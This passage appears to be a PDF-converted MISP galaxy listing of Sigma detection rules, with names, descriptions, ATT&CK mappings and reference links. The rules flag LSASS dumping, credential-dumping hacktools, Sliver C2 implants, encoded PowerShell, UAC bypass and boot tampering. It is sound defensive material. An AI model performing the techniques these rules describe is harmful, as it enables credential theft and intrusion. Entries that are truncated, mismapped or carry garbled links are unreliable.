<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_certificate_installation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_certificate_installation.yml</a></td>
</tr>
</tbody>
</table>

Suspicious X509Enrollment - Process Creation

Detect use of X509Enrollment

The tag is: misp-galaxy:sigma-rules="Suspicious X509Enrollment - Process Creation"

View relationships graph
Suspicious X509Enrollment - Process Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

Table 10145. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_x509enrollment.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_x509enrollment.yml</a></td>
</tr>
</tbody>
</table>

**Renamed Msdt.EXE Execution**

Detects the execution of a renamed "Msdt.exe" binary

The tag is: misp-galaxy:sigma-rules="Renamed Msdt.EXE Execution"

View relationships graph

Renamed Msdt.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 10146. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Msdt/">https://lolbas-project.github.io/lolbas/Binaries/Msdt/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_msdt.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_msdt.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - WinRM Access Via Evil-WinRM**

Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

The tag is: misp-galaxy:sigma-rules="HackTool - WinRM Access Via Evil-WinRM"

View relationships graph

HackTool - WinRM Access Via Evil-WinRM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with
**UEFI Persistence Via Wpbbin - ProcessCreation**

Detects execution of the binary "wpbbin" which is used as part of the UEFI based persistence method described in the reference section.

The tag is: `misp-galaxy:sigma-rules="UEFI Persistence Via Wpbbin - ProcessCreation"`

View relationships graph

UEFI Persistence Via Wpbbin - ProcessCreation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001"` with estimative-language:likelihood-probability="almost-certain"

**Process Reconnaissance Via Wmic.EXE**

Detects the execution of "wmic" with the "process" flag, which adversary might use to list processes running on the compromised host or list installed software hotfixes and patches.

The tag is: `misp-galaxy:sigma-rules="Process Reconnaissance Via Wmic.EXE"`

View relationships graph

Process Reconnaissance Via Wmic.EXE has relationships with:

UtilityFunctions.ps1 Proxy Dll

Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.

The tag is: \texttt{misp-galaxy:sigma-rules="UtilityFunctions.ps1 Proxy Dll"}

View relationships graph

UtilityFunctions.ps1 Proxy Dll has relationships with:

- related-to: \texttt{misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"}

Suspicious Powercfg Execution To Change Lock Screen Timeout

Detects suspicious execution of `Powercfg.exe` to change lock screen timeout

The tag is: \texttt{misp-galaxy:sigma-rules="Suspicious Powercfg Execution To Change Lock Screen Timeout"}
**Potentially Suspicious Event Viewer Child Process**

Detects uncommon or suspicious child processes of "eventvwr.exe" which might indicate a UAC bypass attempt

The tag is: *misp-galaxy: sigma-rules="Potentially Suspicious Event Viewer Child Process"

View relationships graph

Potentially Suspicious Event Viewer Child Process has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

### Table 10152. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cddb1dfe7446f3f51f?environmentId=100">https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cddb1dfe7446f3f51f?environmentId=100</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_eventvwr_susp_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_eventvwr_susp_child_process.yml</a></td>
</tr>
</tbody>
</table>

**New User Created Via Net.EXE**

Identifies the creation of local users via the net.exe command.

The tag is: *misp-galaxy: sigma-rules="New User Created Via Net.EXE"

View relationships graph

New User Created Via Net.EXE has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

### Table 10153. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html">https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcc3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcc3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add.yml</a></td>
</tr>
</tbody>
</table>
Potentially Suspicious ASP.NET Compilation Via AspNetCompiler

Detects execution of "aspnet_compiler.exe" with potentially suspicious paths for compilation.

The tag is: misp-galaxy:sigma-rules="Potentially Suspicious ASP.NET Compilation Via AspNetCompiler"

Run Once Task Execution as Configured in Registry

This rule detects the execution of Run Once task as configured in the registry

The tag is: misp-galaxy:sigma-rules="Run Once Task Execution as Configured in Registry"

Table 10154. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/">https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/</a></td>
</tr>
<tr>
<td><a href="https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet">https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet</a> Compiler-exe/</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win</a> _aspnet_compiler_susp_paths.yml</td>
</tr>
</tbody>
</table>

Table 10155. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1602644163824156672?s=20&amp;t=kuxbUnZPltpvFPZdCrqPXA">https://twitter.com/0gtweet/status/1602644163824156672?s=20&amp;t=kuxbUnZPltpvFPZdCrqPXA</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Runonce/">https://lolbas-project.github.io/lolbas/Binaries/Runonce/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/pabraeken/status/990717080805789697">https://twitter.com/pabraeken/status/990717080805789697</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win</a> _runonce_execution.yml</td>
</tr>
</tbody>
</table>
Suspicious Execution of Powershell with Base64

Commandline to launch powershell with a base64 payload

The tag is: misp-galaxy:sigma-rules="Suspicious Execution of Powershell with Base64"

View relationships graph

Suspicious Execution of Powershell with Base64 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 10156. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/">https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets</a></td>
</tr>
</tbody>
</table>

Suspicious PowerShell Encoded Command Patterns

Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains

The tag is: misp-galaxy:sigma-rules="Suspicious PowerShell Encoded Command Patterns"

View relationships graph

Suspicious PowerShell Encoded Command Patterns has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 10157. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/">https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/</a></td>
</tr>
</tbody>
</table>
Certificate Exported Via Certutil.EXE

Detects the execution of the certutil with the "exportPFX" flag which allows the utility to export certificates.

The tag is: *misp-galaxy: sigma-rules="Certificate Exported Via Certutil.EXE"

View relationships graph

Certificate Exported Via Certutil.EXE has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10158. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_export_pfx.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_export_pfx.yml</a></td>
</tr>
</tbody>
</table>

Potential PsExec Remote Execution

Detects potential psexec command that initiate execution on a remote systems via common commandline flags used by the utility

The tag is: *misp-galaxy: sigma-rules="Potential PsExec Remote Execution"

View relationships graph

Potential PsExec Remote Execution has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10159. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.poweradmin.com/paexec/">https://www.poweradmin.com/paexec/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">https://docs.microsoft.com/en-us/sysinternals/downloads/psexec</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexec_remote_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexec_remote_execution.yml</a></td>
</tr>
</tbody>
</table>
Potential Process Execution Proxy Via CL_Invocation.ps1

Detects calls to "SyncInvoke" that is part of the "CL_Invocation.ps1" script to proxy execution using "System.Diagnostics.Process"

The tag is: misp-galaxy:sigma-rules="Potential Process Execution Proxy Via CL_Invocation.ps1"

View relationships graph

Potential Process Execution Proxy Via CL_Invocation.ps1 has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 10160. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/bohops/status/948061991012327424">https://twitter.com/bohops/status/948061991012327424</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/">https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cl_invocation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cl_invocation.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Microsoft OneNote Child Process

Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.

The tag is: misp-galaxy:sigma-rules="Suspicious Microsoft OneNote Child Process"

View relationships graph

Suspicious Microsoft OneNote Child Process has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 10161. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-e34e43eb5666427602ddf488b2bf3b545bd9aae81af3e6f6c7949f9652abdf18">https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-e34e43eb5666427602ddf488b2bf3b545bd9aae81af3e6f6c7949f9652abdf18</a></td>
</tr>
<tr>
<td><a href="https://micahbabinski.medium.com/detecting-onenote-one-malware-delivery-407e9321ecf0">https://micahbabinski.medium.com/detecting-onenote-one-malware-delivery-407e9321ecf0</a></td>
</tr>
</tbody>
</table>
Renamed FTP.EXE Execution

Detects the execution of a renamed "ftp.exe" binary based on the PE metadata fields

The tag is: *misp-galaxy:Sigma-rules="Renamed FTP.EXE Execution"*

View relationships graph

Renamed FTP.EXE Execution has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 10162. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Ftp/">https://lolbas-project.github.io/lolbas/Binaries/Ftp/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_ftp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_ftp.yml</a></td>
</tr>
</tbody>
</table>

Potential LSASS Process Dump Via Procdump

Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we are also able to catch cases in which the attacker has renamed the procdump executable.

The tag is: *misp-galaxy:Sigma-rules="Potential LSASS Process Dump Via Procdump"*

View relationships graph

Potential LSASS Process Dump Via Procdump has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 10163. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
JSC Convert Javascript To Executable

Detects the execution of the LOLBIN jsc.exe used by .NET to compile javascript code to .exe or .dll format

The tag is: `misp-galaxy:sigma-rules=\"JSC Convert Javascript To Executable\"`

View relationships graph

JSC Convert Javascript To Executable has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 10164. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Jsc/">https://lolbas-project.github.io/lolbas/Binaries/Jsc/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml</a></td>
</tr>
</tbody>
</table>

Potential Homoglyph Attack Using Lookalike Characters

Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.

The tag is: `misp-galaxy:sigma-rules="Potential Homoglyph Attack Using Lookalike Characters\"`

View relationships graph

Potential Homoglyph Attack Using Lookalike Characters has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 10165. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
HackTool - Quarks PwDump Execution

Detects usage of the Quarks PwDump tool via commandline arguments

The tag is: `misp-galaxy:sigma-rules="HackTool - Quarks PwDump Execution"`

View relationships graph

HackTool - Quarks PwDump Execution has relationships with:


Table 10166. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/quarkslab/quarkspwdump">https://github.com/quarkslab/quarkspwdump</a></td>
</tr>
</tbody>
</table>

Execute MSDT Via Answer File

Detects execution of "msdt.exe" using an answer file which is simulating the legitimate way of calling msdt via "pcwrun.exe" (For example from the compatibility tab)

The tag is: `misp-galaxy:sigma-rules="Execute MSDT Via Answer File"`

View relationships graph

Execute MSDT Via Answer File has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Table 10167. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Msdt/">https://lolbas-project.github.io/lolbas/Binaries/Msdt/</a></td>
</tr>
</tbody>
</table>
Findstr Launching .lnk File

Dectets usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack.

The tag is: `misp-galaxy:sigma-rules="Findstr Launching .lnk File"`

View relationships graph

Findstr Launching .lnk File has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Steganography - T1027.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10168. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lnk.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lnk.yml</a></td>
</tr>
</tbody>
</table>

Suspicious ScreenSave Change by Reg.exe

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

The tag is: `misp-galaxy:sigma-rules="Suspicious ScreenSave Change by Reg.exe"`

View relationships graph

Suspicious ScreenSave Change by Reg.exe has relationships with:


Table 10169. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md</a></td>
</tr>
</tbody>
</table>

6415
PowerShell Base64 Encoded FromBase64String Cmdlet

Detects usage of a base64 encoded "FromBase64String" cmdlet in a process command line

The tag is: `misp-galaxy:sigma-rules="PowerShell Base64 Encoded FromBase64String Cmdlet"`

View relationships graph

PowerShell Base64 Encoded FromBase64String Cmdlet has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 10170. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research</td>
</tr>
<tr>
<td>Internal Research</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_frombase64string.yml">Internal Research</a></td>
</tr>
</tbody>
</table>

Suspicious PowerShell Parameter Substring

Detects suspicious PowerShell invocation with a parameter substring

The tag is: `misp-galaxy:sigma-rules="Suspicious PowerShell Parameter Substring"`

View relationships graph

Suspicious PowerShell Parameter Substring has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 10171. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml</a></td>
</tr>
</tbody>
</table>

Boot Configuration Tampering Via Bcdedit.EXE

Detects the use of the bcdedit command to tamper with the boot configuration data. This technique is often times used by malware or attackers as a destructive way before launching ransomware.

6416
The tag is: misp-galaxy:sigma-rules="Boot Configuration Tampering Via Bcdedit.EXE"

View relationships graph

Boot Configuration Tampering Via Bcdedit.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 10172. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md</a></td>
</tr>
<tr>
<td><a href="https://eqllib.readthedocs.io/en/latest/analytics/c4732632-9c1d-4980-9fa8-1d98c93f918e.html">https://eqllib.readthedocs.io/en/latest/analytics/c4732632-9c1d-4980-9fa8-1d98c93f918e.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bcdedit_boot_conf_tamper.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bcdedit_boot_conf_tamper.yml</a></td>
</tr>
</tbody>
</table>

**Code Execution via Pcwutl.dll**

Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.

The tag is: misp-galaxy:sigma-rules="Code Execution via Pcwutl.dll"

View relationships graph

Code Execution via Pcwutl.dll has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 10173. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/">https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/harr0ey/status/989617817849876488">https://twitter.com/harr0ey/status/989617817849876488</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwutl.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwutl.yml</a></td>
</tr>
</tbody>
</table>

**Import PowerShell Modules From Suspicious Directories - ProcCreation**

Detects powershell scripts that import modules from suspicious directories

The tag is: misp-galaxy:sigma-rules="Import PowerShell Modules From Suspicious Directories - ProcCreation"

View relationships graph
Import PowerShell Modules From Suspicious Directories - ProcCreation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 10174. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wi_powershell_import_module_susp_dirs.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wi_powershell_import_module_susp_dirs.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Spool Service Child Process**

Detects suspicious print spool service (spoolsv.exe) child processes.

The tag is: misp-galaxy: sigma-rules="Suspicious Spool Service Child Process"

View relationships graph

Suspicious Spool Service Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 10175. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_spoolsv_susp_child_processes.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_spoolsv_susp_child_processes.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - CrackMapExec PowerShell Obfuscation**

The CrackMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.

The tag is: misp-galaxy: sigma-rules="HackTool - CrackMapExec PowerShell Obfuscation"

View relationships graph

HackTool - CrackMapExec PowerShell Obfuscation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-
HackTool - Sliver C2 Implant Activity Pattern

Detects process activity patterns as seen being used by Sliver C2 framework implants

The tag is: misp-galaxy:sigma-rules="HackTool - Sliver C2 Implant Activity Pattern"

View relationships graph

HackTool - Sliver C2 Implant Activity Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Use of VisualUiaVerifyNative.exe

VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft’s recommended block rules.

The tag is: misp-galaxy:sigma-rules="Use of VisualUiaVerifyNative.exe"

View relationships graph

Use of VisualUiaVerifyNative.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with
Suspicious Firewall Configuration Discovery Via Netsh.EXE

Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems.

The tag is: *misp-galaxy:sigma-rules*="Suspicious Firewall Configuration Discovery Via Netsh.EXE"

Suspicious Firewall Configuration Discovery Via Netsh.EXE has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Suspicious Hacktool Execution - PE Metadata

Detects the execution of different Windows based hacktools via PE metadata (company, product, etc.) even if the files have been renamed.

The tag is: *misp-galaxy:sigma-rules*="Suspicious Hacktool Execution - PE Metadata"
Suspicious Hacktool Execution - PE Metadata has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 10180. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/search/metadata%253ACube0x0/files">https://www.virustotal.com/gui/search/metadata%253ACube0x0/files</a></td>
</tr>
<tr>
<td><a href="https://github.com/cube0x0">https://github.com/cube0x0</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_execution_via_pe_metadata.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_execution_via_pe_metadata.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - Impacket Tools Execution**

Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)

The tag is: misp-galaxy: sigma-rules="HackTool - Impacket Tools Execution"

View relationships graph

HackTool - Impacket Tools Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

Table 10181. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries">https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries</a></td>
</tr>
<tr>
